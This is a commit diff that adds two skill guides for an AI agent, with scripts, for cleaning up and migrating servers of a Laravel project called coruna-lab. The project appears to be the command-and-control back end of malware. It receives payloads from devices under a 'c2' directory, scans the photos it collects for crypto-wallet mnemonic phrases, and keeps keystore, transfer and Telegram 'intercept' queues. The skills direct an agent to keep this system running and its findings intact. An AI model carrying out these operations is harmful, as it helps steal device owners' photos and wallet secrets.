Compare commits
49 Commits
dff472180c
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 5859f4f1b3 | |||
| af714468ee | |||
| 4164d2c453 | |||
| 460e751f00 | |||
| 5e258863a8 | |||
| ba5d3c5731 | |||
| c5138594e1 | |||
| 2d3b6e1f2c | |||
| e8454a93a8 | |||
| aad2155ca5 | |||
| c90b5dc215 | |||
| f137593a87 | |||
| 9c2bc4b226 | |||
| 07d97f383c | |||
| 867d0fa462 | |||
| da1c1921d7 | |||
| 67c8460717 | |||
| 630aeb2383 | |||
| ba444a96b1 | |||
| 08ef9e718e | |||
| 316b4cea51 | |||
| ffbad6a9da | |||
| 97c7bc1de1 | |||
| d0445117b3 | |||
| ff0b8fee25 | |||
| 9b46e5c76b | |||
| d9ac47484f | |||
| cb92baa395 | |||
| 00e440a0b4 | |||
| e654f65cf9 | |||
| afac799588 | |||
| 46e250109e | |||
| 263fd917ac | |||
| 529ae4aa38 | |||
| 30357c108f | |||
| 6e4f7e6020 | |||
| e2d01abe28 | |||
| 09b4a429aa | |||
| ff516a0e30 | |||
| 7e8be467a0 | |||
| c979249a02 | |||
| eb82aa8332 | |||
| 15c45a4fd2 | |||
| 2c87d37051 | |||
| 8f7469cc4e | |||
| 5b677d4d1f | |||
| 2d8fe07242 | |||
| d3cbc82365 | |||
| e0b06e0d24 |
@@ -0,0 +1,142 @@
|
||||
---
|
||||
name: coruna-lab-cleanup
|
||||
description: >-
|
||||
Clean up disk space on servers running the coruna-lab (Coruna Lab) Laravel
|
||||
project. Deletes scanned photos without mnemonic findings, prunes broken-image
|
||||
DB rows, clears DS scan result intermediates, purges old logs, truncates nginx
|
||||
logs, and removes stale backups. Use when the user reports disk full / low space
|
||||
on a coruna-lab server, or asks to clean up photos / DS results / process data /
|
||||
broken images (裂图) on a coruna-lab deployment. Trigger keywords: coruna-lab
|
||||
磁盘清理, 清理相册, 清理照片, 清理 DS 结果, 清理过程数据, 裂图, disk full,
|
||||
prune photos, clean ds-results.
|
||||
---
|
||||
|
||||
# coruna-lab Disk Cleanup
|
||||
|
||||
Clean up disk space on servers running the **coruna-lab** Laravel project.
|
||||
|
||||
## Project layout (reference)
|
||||
|
||||
```
|
||||
/www/wwwroot/coruna-lab/ # project root (auto-detected or arg)
|
||||
├── storage/app/private/c2/
|
||||
│ ├── photos/ # original album photos (linked to photos table)
|
||||
│ ├── ds-results/ # DS scan intermediates (images already in photos/)
|
||||
│ ├── ds-chunks/ # temporary chunk-assembly files
|
||||
│ ├── inbox/ # incoming .bin payloads from devices
|
||||
│ ├── photo-previews/ # preview cache (regenerable)
|
||||
│ ├── plugin-sessions/ # plugin session data
|
||||
│ └── ds-notes/ # DS note data
|
||||
├── public/log/ # app logs: xxbb/, ds/, transfer/, c2/
|
||||
├── artisan
|
||||
```
|
||||
|
||||
### Key DB tables
|
||||
|
||||
| Table | Role |
|
||||
|-------|------|
|
||||
| `photos` | album photos, `scan_status`: 0=未扫 1=已扫空 2=疑似 3=确定 4=失败 |
|
||||
| `photo_reads` | read markers per photo |
|
||||
| `mnemonic_findings` | mnemonic phrases found in photos/notes (has `photo_id`) |
|
||||
|
||||
**Safe to delete**: `scan_status=1` photos with NO `mnemonic_findings` row — scanned, nothing found.
|
||||
**Never delete**: `scan_status=0` (pending scan), `scan_status=2/3` (has mnemonic findings), `mnemonic_findings` rows.
|
||||
|
||||
## Cleanup steps
|
||||
|
||||
The bundled `scripts/disk_cleanup.sh` runs all steps. Always **dry-run first**.
|
||||
|
||||
### Step 1: Run dry-run
|
||||
|
||||
```bash
|
||||
# SSH to the target server, then:
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab
|
||||
```
|
||||
|
||||
This prints what would be cleaned without deleting anything. Review the output.
|
||||
|
||||
### Step 2: Execute cleanup
|
||||
|
||||
```bash
|
||||
sudo bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
### What it does (9 steps)
|
||||
|
||||
| # | Step | Default retention | Frees |
|
||||
|---|------|-------------------|-------|
|
||||
| 1 | Old app logs (`public/log/*.log`) | 7 days | varies |
|
||||
| 2 | scan_status=1 photos (no mnemonic) | all | largest — often 50-100G+ |
|
||||
| 3 | Broken-image DB rows (file missing) | all | fixes 裂图 |
|
||||
| 4 | Photo preview caches | all | ~15G typical |
|
||||
| 5 | DS results (`ds-results/`) | 1 day | often 40-80G |
|
||||
| 6 | DS chunks (`ds-chunks/`) | 1 day | often 20-35G |
|
||||
| 7 | Inbox (`inbox/`) | 3 days | varies |
|
||||
| 8 | Nginx logs (truncate >100M files) | — | often 15-20G |
|
||||
| 9 | Backups (`/www/backup/`) | all | varies |
|
||||
|
||||
### Tunable retention (env vars)
|
||||
|
||||
```bash
|
||||
LOG_RETENTION_DAYS=3 DS_RESULTS_RETENTION_DAYS=1 DS_CHUNK_RETENTION_DAYS=1 \
|
||||
INBOX_RETENTION_DAYS=3 CLEAN_NGINX_LOGS=1 CLEAN_BACKUPS=1 \
|
||||
bash <skill-dir>/scripts/disk_cleanup.sh /www/wwwroot/coruna-lab --execute
|
||||
```
|
||||
|
||||
## Individual steps (if full pipeline not needed)
|
||||
|
||||
### Only clean scanned photos (step 2 standalone)
|
||||
|
||||
```bash
|
||||
# Copy the PHP script into the project, then run via Laravel bootstrap:
|
||||
cp <skill-dir>/scripts/cleanup_scanned_photos.php /www/wwwroot/coruna-lab/
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php cleanup_scanned_photos.php # dry-run
|
||||
php cleanup_scanned_photos.php --execute # actually delete
|
||||
rm -f cleanup_scanned_photos.php # clean up after
|
||||
```
|
||||
|
||||
### Only prune broken images (step 3 standalone)
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan coruna:prune-missing-photo-files # dry-run
|
||||
php artisan coruna:prune-missing-photo-files --execute # delete rows
|
||||
```
|
||||
|
||||
### Only clean DS intermediates (steps 5-6 standalone)
|
||||
|
||||
```bash
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-results/ -type d -empty -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type f -mtime +1 -delete
|
||||
find /www/wwwroot/coruna-lab/storage/app/private/c2/ds-chunks/ -type d -empty -delete
|
||||
```
|
||||
|
||||
## Safety rules
|
||||
|
||||
1. **Always dry-run first** — review counts before `--execute`.
|
||||
2. **Never delete `scan_status=0` or `scan_status=2/3` photos** — they are pending scan or contain mnemonic findings.
|
||||
3. **Never delete `mnemonic_findings` rows** — these are the extracted mnemonic records.
|
||||
4. DS results images are duplicates of `c2/photos/` — safe to delete after processing.
|
||||
5. Photo previews are cache — regenerable, safe to clear.
|
||||
6. Truncating nginx logs (not deleting) keeps the file handle open for the running nginx process.
|
||||
7. Backups under `/www/backup/` are panel-level backups — confirm with user before deleting on production servers where backups are actively needed.
|
||||
|
||||
## Verification after cleanup
|
||||
|
||||
```bash
|
||||
df -h /
|
||||
du -sh /www/wwwroot/coruna-lab/storage/app/private/c2/*/
|
||||
du -sh /www/wwwroot/coruna-lab/public/log/
|
||||
```
|
||||
|
||||
Check DB counts:
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
php artisan tinker --execute="
|
||||
echo 'photos: '.DB::table('photos')->count().PHP_EOL;
|
||||
echo 'photo_reads: '.DB::table('photo_reads')->count().PHP_EOL;
|
||||
echo 'mnemonic_findings: '.DB::table('mnemonic_findings')->count().PHP_EOL;
|
||||
"
|
||||
```
|
||||
@@ -0,0 +1,96 @@
|
||||
<?php
|
||||
/**
|
||||
* Clean up photos that were scanned (scan_status=1, "已扫-空") but have no mnemonic findings.
|
||||
*
|
||||
* These photos were scanned for mnemonic phrases but nothing was found,
|
||||
* so they are safe to delete: file blobs, photo_reads rows, and photos rows.
|
||||
*
|
||||
* Usage:
|
||||
* php cleanup_scanned_photos.php [project-path] [--execute]
|
||||
*
|
||||
* Without --execute: dry-run (counts only, deletes nothing)
|
||||
* With --execute: deletes files and DB rows in batches of 500
|
||||
*
|
||||
* Requires: Laravel project with photos, photo_reads, mnemonic_findings tables.
|
||||
*/
|
||||
require __DIR__.'/vendor/autoload.php';
|
||||
$app = require_once __DIR__.'/bootstrap/app.php';
|
||||
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
|
||||
$kernel->bootstrap();
|
||||
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
$execute = in_array('--execute', $argv ?? []);
|
||||
$dryRun = !$execute;
|
||||
|
||||
echo ($dryRun ? 'DRY-RUN' : 'EXECUTE') . " clean scan_status=1 photos without mnemonic findings\n";
|
||||
|
||||
$disk = Storage::disk('local');
|
||||
$batchSize = 500;
|
||||
$totalSeen = 0;
|
||||
$totalFiles = 0;
|
||||
$totalRows = 0;
|
||||
$totalReads = 0;
|
||||
$lastId = 0;
|
||||
$batchNum = 0;
|
||||
|
||||
while (true) {
|
||||
$photos = DB::table('photos')
|
||||
->select(['id', 'device_id', 'path'])
|
||||
->where('scan_status', 1)
|
||||
->where('id', '>', $lastId)
|
||||
->whereNotIn('id', function ($q) {
|
||||
$q->select('photo_id')->from('mnemonic_findings')->whereNotNull('photo_id');
|
||||
})
|
||||
->orderBy('id')
|
||||
->limit($batchSize)
|
||||
->get();
|
||||
|
||||
if ($photos->isEmpty()) {
|
||||
break;
|
||||
}
|
||||
|
||||
$batchNum++;
|
||||
$ids = [];
|
||||
foreach ($photos as $photo) {
|
||||
$ids[] = $photo->id;
|
||||
$totalSeen++;
|
||||
if (!$dryRun) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path !== '' && $disk->exists($path)) {
|
||||
$disk->delete($path);
|
||||
$totalFiles++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!$dryRun && !empty($ids)) {
|
||||
$deletedReads = DB::table('photo_reads')->whereIn('photo_id', $ids)->delete();
|
||||
$totalReads += $deletedReads;
|
||||
DB::table('photos')->whereIn('id', $ids)->delete();
|
||||
$totalRows += count($ids);
|
||||
}
|
||||
|
||||
$lastId = (int) $photos->last()->id;
|
||||
|
||||
if ($batchNum % 20 === 0 || $photos->count() < $batchSize) {
|
||||
echo sprintf(
|
||||
" batch=%d seen=%d %s reads=%d\n",
|
||||
$batchNum,
|
||||
$totalSeen,
|
||||
$dryRun ? '(dry-run)' : "deleted_files=$totalFiles deleted_rows=$totalRows",
|
||||
$totalReads
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
echo "\n=== Done ===\n";
|
||||
echo "matched_photos: $totalSeen\n";
|
||||
if (!$dryRun) {
|
||||
echo "deleted_files: $totalFiles\n";
|
||||
echo "deleted_photo_reads: $totalReads\n";
|
||||
echo "deleted_photos_rows: $totalRows\n";
|
||||
} else {
|
||||
echo "dry-run: pass --execute to delete\n";
|
||||
}
|
||||
+136
@@ -0,0 +1,136 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# coruna-lab disk cleanup — full pipeline
|
||||
#
|
||||
# Usage: sudo bash disk_cleanup.sh [project_root] [--execute]
|
||||
#
|
||||
# Without --execute: dry-run (shows what would be cleaned, deletes nothing)
|
||||
# With --execute: performs all cleanup steps
|
||||
#
|
||||
# Env vars (override defaults):
|
||||
# LOG_RETENTION_DAYS=7 public/log retention (days)
|
||||
# DS_RESULTS_RETENTION_DAYS=1 ds-results retention (days)
|
||||
# DS_CHUNK_RETENTION_DAYS=1 ds-chunks retention (days)
|
||||
# INBOX_RETENTION_DAYS=3 inbox retention (days)
|
||||
# CLEAN_NGINX_LOGS=1 truncate large nginx logs (1=yes, 0=no)
|
||||
# CLEAN_BACKUPS=1 delete /www/backup contents (1=yes, 0=no)
|
||||
#
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PROJECT="${1:-/www/wwwroot/coruna-lab}"
|
||||
EXECUTE_FLAG="${2:-}"
|
||||
EXECUTE=0
|
||||
[ "$EXECUTE_FLAG" = "--execute" ] && EXECUTE=1
|
||||
|
||||
# Retention settings (can be overridden by env vars)
|
||||
LOG_DAYS="${LOG_RETENTION_DAYS:-7}"
|
||||
DS_RESULTS_DAYS="${DS_RESULTS_RETENTION_DAYS:-1}"
|
||||
DS_CHUNK_DAYS="${DS_CHUNK_RETENTION_DAYS:-1}"
|
||||
INBOX_DAYS="${INBOX_RETENTION_DAYS:-3}"
|
||||
CLEAN_NGINX_LOGS="${CLEAN_NGINX_LOGS:-1}"
|
||||
CLEAN_BACKUPS="${CLEAN_BACKUPS:-1}"
|
||||
|
||||
STORAGE_C2="$PROJECT/storage/app/private/c2"
|
||||
PUBLIC_LOG="$PROJECT/public/log"
|
||||
DELETE_CMD=""
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
DELETE_CMD="-delete"
|
||||
echo "=== EXECUTE MODE — files will be deleted ==="
|
||||
else
|
||||
echo "=== DRY-RUN MODE — no files will be deleted ==="
|
||||
fi
|
||||
|
||||
echo ""
|
||||
df -h / 2>/dev/null | tail -1
|
||||
echo ""
|
||||
|
||||
# ─── 1. Old application logs (public/log) ───────────────────────────
|
||||
echo ">>> 1. Cleaning public/log (>$LOG_DAYS days)"
|
||||
find "$PUBLIC_LOG" -type f -name "*.log" -mtime +$LOG_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " matched files: {}"
|
||||
rm -f "$PUBLIC_LOG"/*.tar.gz 2>/dev/null && echo " removed tar.gz archives" || true
|
||||
|
||||
# ─── 2. Scanned photos without mnemonic findings ────────────────────
|
||||
echo ">>> 2. Cleaning scan_status=1 photos (no mnemonic findings)"
|
||||
if [ -f "$PROJECT/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$PROJECT/cleanup_scanned_photos.php"
|
||||
elif [ -f "$(dirname "$0")/cleanup_scanned_photos.php" ]; then
|
||||
SCRIPT="$(dirname "$0")/cleanup_scanned_photos.php"
|
||||
cp "$SCRIPT" "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
echo " ERROR: cleanup_scanned_photos.php not found, skipping"
|
||||
SCRIPT=""
|
||||
fi
|
||||
if [ -n "$SCRIPT" ]; then
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php --execute 2>&1 | tail -5)
|
||||
rm -f "$PROJECT/cleanup_scanned_photos.php"
|
||||
else
|
||||
(cd "$PROJECT" && php cleanup_scanned_photos.php 2>&1 | tail -3)
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─── 3. Broken images (file missing, DB row exists) ─────────────────
|
||||
echo ">>> 3. Pruning broken-image DB rows (file missing on disk)"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files --execute 2>&1 | tail -3)
|
||||
else
|
||||
(cd "$PROJECT" && php artisan coruna:prune-missing-photo-files 2>&1 | tail -3)
|
||||
fi
|
||||
|
||||
# ─── 4. Photo preview caches ────────────────────────────────────────
|
||||
echo ">>> 4. Clearing photo preview caches"
|
||||
du -sh "$STORAGE_C2/photo-previews/" 2>/dev/null || true
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
rm -rf "$STORAGE_C2/photo-previews/"* 2>/dev/null
|
||||
echo " cleared"
|
||||
fi
|
||||
|
||||
# ─── 5. DS results (keep N days) ────────────────────────────────────
|
||||
echo ">>> 5. Cleaning ds-results (>$DS_RESULTS_DAYS days)"
|
||||
find "$STORAGE_C2/ds-results/" -type f -mtime +$DS_RESULTS_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-results/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 6. DS chunks (keep N days) ────────────────────────────────────
|
||||
echo ">>> 6. Cleaning ds-chunks (>$DS_CHUNK_DAYS days)"
|
||||
find "$STORAGE_C2/ds-chunks/" -type f -mtime +$DS_CHUNK_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/ds-chunks/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 7. Inbox (keep N days) ─────────────────────────────────────────
|
||||
echo ">>> 7. Cleaning inbox (>$INBOX_DAYS days)"
|
||||
find "$STORAGE_C2/inbox/" -type f -mtime +$INBOX_DAYS -print $DELETE_CMD 2>/dev/null | wc -l | xargs -I{} echo " deleted files: {}"
|
||||
if [ $EXECUTE -eq 1 ]; then
|
||||
find "$STORAGE_C2/inbox/" -type d -empty -delete 2>/dev/null
|
||||
fi
|
||||
|
||||
# ─── 8. Nginx logs (truncate large active logs) ─────────────────────
|
||||
if [ "$CLEAN_NGINX_LOGS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 8. Truncating nginx logs (/www/wwwlogs)"
|
||||
for f in /www/wwwlogs/*.log; do
|
||||
sz=$(stat -c%s "$f" 2>/dev/null || echo 0)
|
||||
if [ "$sz" -gt 104857600 ]; then
|
||||
truncate -s 0 "$f"
|
||||
echo " truncated $(basename $f) ($(numfmt --to=iec $sz))"
|
||||
fi
|
||||
done
|
||||
else
|
||||
echo ">>> 8. Nginx logs: skipped (CLEAN_NGINX_LOGS=$CLEAN_NGINX_LOGS or dry-run)"
|
||||
fi
|
||||
|
||||
# ─── 9. Backups ────────────────────────────────────────────────────
|
||||
if [ "$CLEAN_BACKUPS" = "1" ] && [ $EXECUTE -eq 1 ]; then
|
||||
echo ">>> 9. Cleaning /www/backup"
|
||||
rm -rf /www/backup/backup_restore/* /www/backup/database/* /www/backup/file_history/* /www/backup/panel/* 2>/dev/null || true
|
||||
rm -f /www/backup/*.Bak /www/backup/*.bak /www/backup/nginxBak 2>/dev/null || true
|
||||
echo " cleaned"
|
||||
else
|
||||
echo ">>> 9. Backups: skipped (CLEAN_BACKUPS=$CLEAN_BACKUPS or dry-run)"
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== Result ==="
|
||||
df -h / 2>/dev/null | tail -1
|
||||
@@ -0,0 +1,290 @@
|
||||
---
|
||||
name: coruna-lab-migrate
|
||||
description: >-
|
||||
Migrate the coruna-lab (Coruna Lab) Laravel project from one server to another
|
||||
on BT Panel (宝塔面板). Covers code deployment, database dump/restore, file
|
||||
storage transfer (photos/ds-results/inbox), supervisor queue worker setup,
|
||||
DNS cutover, and post-migration verification. Use when the user asks to
|
||||
migrate coruna-lab to a new server, move coruna-lab to another machine,
|
||||
换服务器, 迁移机器, 搬家, or set up a fresh coruna-lab deployment.
|
||||
Trigger keywords: coruna-lab 迁移, 迁移服务器, 换机器, migrate coruna-lab,
|
||||
server migration, 搬家, new server setup.
|
||||
---
|
||||
|
||||
# coruna-lab Server Migration
|
||||
|
||||
Migrate the **coruna-lab** Laravel project between BT Panel (宝塔面板) servers.
|
||||
|
||||
## Architecture overview
|
||||
|
||||
```
|
||||
Old Server New Server
|
||||
┌─────────────────────┐ ┌─────────────────────┐
|
||||
│ BT Panel + Nginx │ │ BT Panel + Nginx │
|
||||
│ PHP 8.2 │ rsync │ PHP 8.2 │
|
||||
│ MySQL (coruna DB) │ ────────> │ MySQL (coruna DB) │
|
||||
│ Redis │ │ Redis │
|
||||
│ Supervisor (workers)│ │ Supervisor (workers)│
|
||||
│ storage/app/private │ tar+ssh │ storage/app/private │
|
||||
│ c2/photos/ (155G+) │ ────────> │ c2/photos/ │
|
||||
└─────────────────────┘ └─────────────────────┘
|
||||
```
|
||||
|
||||
## Key paths & services
|
||||
|
||||
| Item | Path / Command |
|
||||
|------|----------------|
|
||||
| Project root | `/www/wwwroot/coruna-lab` |
|
||||
| PHP | `/www/server/php/82/bin/php` |
|
||||
| artisan | `sudo -u www /www/server/php/82/bin/php artisan` |
|
||||
| Supervisor | `sudo /www/server/panel/pyenv/bin/supervisorctl` |
|
||||
| Storage | `storage/app/private/c2/{photos,ds-results,ds-chunks,ds-notes,inbox,photo-previews,plugin-sessions}` |
|
||||
| Logs | `public/log/{xxbb,ds,transfer,c2}/` |
|
||||
| Supervisor profiles | `/www/server/panel/plugin/supervisor/profile/*.ini` |
|
||||
|
||||
## Migration phases
|
||||
|
||||
### Phase 1: Prepare new server
|
||||
|
||||
1. Install BT Panel, PHP 8.2, MySQL, Redis, Nginx on the new server.
|
||||
2. Create MySQL database and user:
|
||||
```sql
|
||||
CREATE DATABASE coruna CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
|
||||
CREATE USER 'coruna'@'localhost' IDENTIFIED BY '<password>';
|
||||
GRANT ALL ON coruna.* TO 'coruna'@'localhost';
|
||||
FLUSH PRIVILEGES;
|
||||
```
|
||||
3. Create the site in BT Panel (point domain to `/www/wwwroot/coruna-lab`).
|
||||
|
||||
### Phase 2: Deploy code
|
||||
|
||||
The new server has **no git** — deploy via tarball from a machine that has the repo:
|
||||
|
||||
```bash
|
||||
# On the machine with git access:
|
||||
cd /www/wwwroot/coruna-lab
|
||||
git archive --format=tar HEAD | gzip > /tmp/coruna-lab-code.tar.gz
|
||||
scp /tmp/coruna-lab-code.tar.gz ubuntu@<new-server>:/tmp/
|
||||
|
||||
# On the new server:
|
||||
sudo mkdir -p /www/wwwroot/coruna-lab
|
||||
sudo tar -xzf /tmp/coruna-lab-code.tar.gz -C /www/wwwroot/coruna-lab
|
||||
sudo chown -R www:www /www/wwwroot/coruna-lab
|
||||
cd /www/wwwroot/coruna-lab
|
||||
composer install --no-dev --optimize-autoloader
|
||||
```
|
||||
|
||||
### Phase 3: Database migration
|
||||
|
||||
```bash
|
||||
# On old server: dump
|
||||
mysqldump -ucoruna -p<old-pass> coruna --single-transaction --routines > /tmp/coruna.sql
|
||||
scp /tmp/coruna.sql ubuntu@<new-server>:/tmp/
|
||||
|
||||
# On new server: import
|
||||
mysql -ucoruna -p<new-pass> coruna < /tmp/coruna.sql
|
||||
```
|
||||
|
||||
Run migrations on the new server:
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan migrate --force
|
||||
```
|
||||
|
||||
### Phase 4: Configure .env
|
||||
|
||||
Copy `.env` from old server, update for new server:
|
||||
```bash
|
||||
# Key settings to verify/update:
|
||||
APP_URL=<new-domain>
|
||||
DB_PASSWORD=<new-db-pass>
|
||||
REDIS_HOST=127.0.0.1
|
||||
QUEUE_CONNECTION=redis
|
||||
# Keep these from old .env:
|
||||
CORUNA_OFFICIAL_ALBUM_STORAGE=1
|
||||
INTERCEPT_DEVICE_KEYS=...
|
||||
INTERCEPT_BOT_TOKEN=...
|
||||
INTERCEPT_CHAT_ID=...
|
||||
```
|
||||
|
||||
Generate app key if needed (usually keep the old one):
|
||||
```bash
|
||||
sudo -u www /www/server/php/82/bin/php artisan key:generate
|
||||
```
|
||||
|
||||
### Phase 5: Transfer file storage
|
||||
|
||||
The `c2/` directory can be 200G+. Use `tar + ssh` for reliability with large file counts:
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# transfer_locked.sh — run on OLD server
|
||||
NEW_HOST="ubuntu@<new-server>"
|
||||
SSH_KEY="/path/to/key.pem"
|
||||
SRC="/www/wwwroot/coruna-lab/storage/app/private/c2"
|
||||
DST="/www/wwwroot/coruna-lab/storage/app/private/c2"
|
||||
|
||||
for dir in photos photo-previews ds-chunks ds-notes ds-results plugin-sessions inbox; do
|
||||
echo "Transferring $dir..."
|
||||
tar -C "$SRC" -cf - "$dir" | ssh -i "$SSH_KEY" $NEW_HOST "sudo tar -C '$DST' -xf -"
|
||||
done
|
||||
```
|
||||
|
||||
**Important**: Transfer `photos/` last (largest, 155G+). Use `flock` to prevent
|
||||
duplicate runs. Monitor progress with `find ... | wc -l` on both servers.
|
||||
|
||||
### Phase 6: Set up supervisor workers
|
||||
|
||||
**This is the most critical step** — missing workers cause silent data loss.
|
||||
|
||||
Create one `.ini` file per queue in `/www/server/panel/plugin/supervisor/profile/`:
|
||||
|
||||
| File | Queue | Command |
|
||||
|------|-------|---------|
|
||||
| `queue.ini` | default | `artisan queue:work redis --sleep=1 --tries=3 --timeout=90 --max-time=3600` |
|
||||
| `ocr.ini` | ocr | `artisan queue:work redis --queue=ocr --sleep=1 --tries=1 --timeout=90 --max-jobs=100` |
|
||||
| `keystore.ini` | keystore | `artisan queue:work keystore --sleep=1 --tries=1 --timeout=320 --max-time=3600` |
|
||||
| `telegram.ini` | telegram | `artisan queue:work telegram --sleep=1 --tries=3 --timeout=30 --max-time=3600` |
|
||||
| `transfer.ini` | transfer | `artisan queue:work transfer --sleep=1 --tries=1 --timeout=200 --max-time=3600` |
|
||||
| **`extract.ini`** | **extract** | `artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100` |
|
||||
|
||||
> **⚠️ CRITICAL: `extract.ini` is easily missed.** Without it, photo archives
|
||||
> pile up in `inbox/` and the `extract` Redis queue backs up indefinitely.
|
||||
> Photos appear to stop storing even though `/t` requests keep arriving.
|
||||
|
||||
Template for `extract.ini` (others follow the same pattern):
|
||||
```ini
|
||||
[program:extract]
|
||||
command=/www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=extract --sleep=1 --tries=1 --timeout=200 --max-jobs=100
|
||||
directory=/www/wwwroot/coruna-lab/
|
||||
autorestart=true
|
||||
startsecs=3
|
||||
startretries=3
|
||||
stdout_logfile=/www/server/panel/plugin/supervisor/log/extract.out.log
|
||||
stderr_logfile=/www/server/panel/plugin/supervisor/log/extract.err.log
|
||||
stdout_logfile_maxbytes=2MB
|
||||
stderr_logfile_maxbytes=2MB
|
||||
user=www
|
||||
priority=999
|
||||
numprocs=2
|
||||
process_name=%(program_name)s_%(process_num)02d
|
||||
```
|
||||
|
||||
Load and start all workers:
|
||||
```bash
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl reread
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl update
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl start all
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl status
|
||||
```
|
||||
|
||||
### Phase 7: Clear caches & restart PHP-FPM
|
||||
|
||||
```bash
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan config:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan route:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan view:clear
|
||||
sudo -u www /www/server/php/82/bin/php artisan cache:clear
|
||||
# Restart PHP-FPM
|
||||
sudo /etc/init.d/php-fpm-82 restart
|
||||
```
|
||||
|
||||
> **⚠️ `view:clear` is critical after code updates.** Stale compiled Blade
|
||||
> templates in `storage/framework/views/` cause 500 errors when new routes
|
||||
> are referenced but old compiled cache doesn't have them.
|
||||
|
||||
### Phase 8: DNS cutover
|
||||
|
||||
1. Update Cloudflare DNS A record to new server IP.
|
||||
2. Wait for DNS propagation (or use Cloudflare proxy for instant cutover).
|
||||
3. Verify the site loads on the new server.
|
||||
|
||||
### Phase 9: Verify
|
||||
|
||||
```bash
|
||||
# Check site responds
|
||||
curl -sI https://<domain>/ | head -5
|
||||
|
||||
# Check supervisor workers all RUNNING
|
||||
sudo /www/server/panel/pyenv/bin/supervisorctl status
|
||||
|
||||
# Check Redis queue backlog (should be 0 or low for all queues)
|
||||
cd /www/wwwroot/coruna-lab
|
||||
sudo -u www /www/server/php/82/bin/php artisan tinker --execute='
|
||||
$r = \Illuminate\Support\Facades\Redis::connection();
|
||||
foreach (["default","extract","ocr","keystore","telegram","transfer"] as $q) {
|
||||
echo "queues:$q = ".$r->llen("queues:$q")."\n";
|
||||
}
|
||||
'
|
||||
|
||||
# Check photos are being stored (should see recent timestamps)
|
||||
mysql -ucoruna -p<pass> coruna -e '
|
||||
SELECT COUNT(*) as cnt, MAX(created_at) as last
|
||||
FROM photos WHERE created_at > DATE_SUB(NOW(), INTERVAL 10 MINUTE);
|
||||
'
|
||||
|
||||
# Check inbox not backing up
|
||||
ls /www/wwwroot/coruna-lab/storage/app/private/c2/inbox/ | wc -l
|
||||
```
|
||||
|
||||
## Common pitfalls
|
||||
|
||||
### 1. Missing `extract` queue worker (MOST COMMON)
|
||||
|
||||
**Symptom**: Users report photos stopped storing. `/t` requests arrive,
|
||||
DB has few/no new photos, `inbox/` directory grows, `queues:extract` in
|
||||
Redis has 100K+ backlog.
|
||||
|
||||
**Fix**: Create `extract.ini` (see Phase 6), reload supervisor.
|
||||
|
||||
### 2. Stale Blade view cache causing 500 errors
|
||||
|
||||
**Symptom**: Pages return 500 after code update. Error log mentions
|
||||
route names not found in compiled view.
|
||||
|
||||
**Fix**: `php artisan view:clear` + restart PHP-FPM.
|
||||
|
||||
### 3. OCR workers restarting frequently
|
||||
|
||||
**Symptom**: `ocr:ocr_00` and `ocr:ocr_01` show very short uptimes
|
||||
(seconds). Error log shows PHP module warnings ("Module already loaded").
|
||||
|
||||
**Cause**: PHP modules loaded twice (fileinfo, redis, zip, gmp). Usually
|
||||
harmless warnings but indicates PHP config issue. Workers still process
|
||||
jobs but may be slower.
|
||||
|
||||
### 4. Photo files not found after migration
|
||||
|
||||
**Symptom**: DB has photo records but files missing on disk.
|
||||
|
||||
**Cause**: Transfer script didn't complete, or path mismatch. Photos
|
||||
are stored at `storage/app/private/c2/photos/{device_uuid}/{sha256}_...`,
|
||||
NOT `storage/app/private/photos/`.
|
||||
|
||||
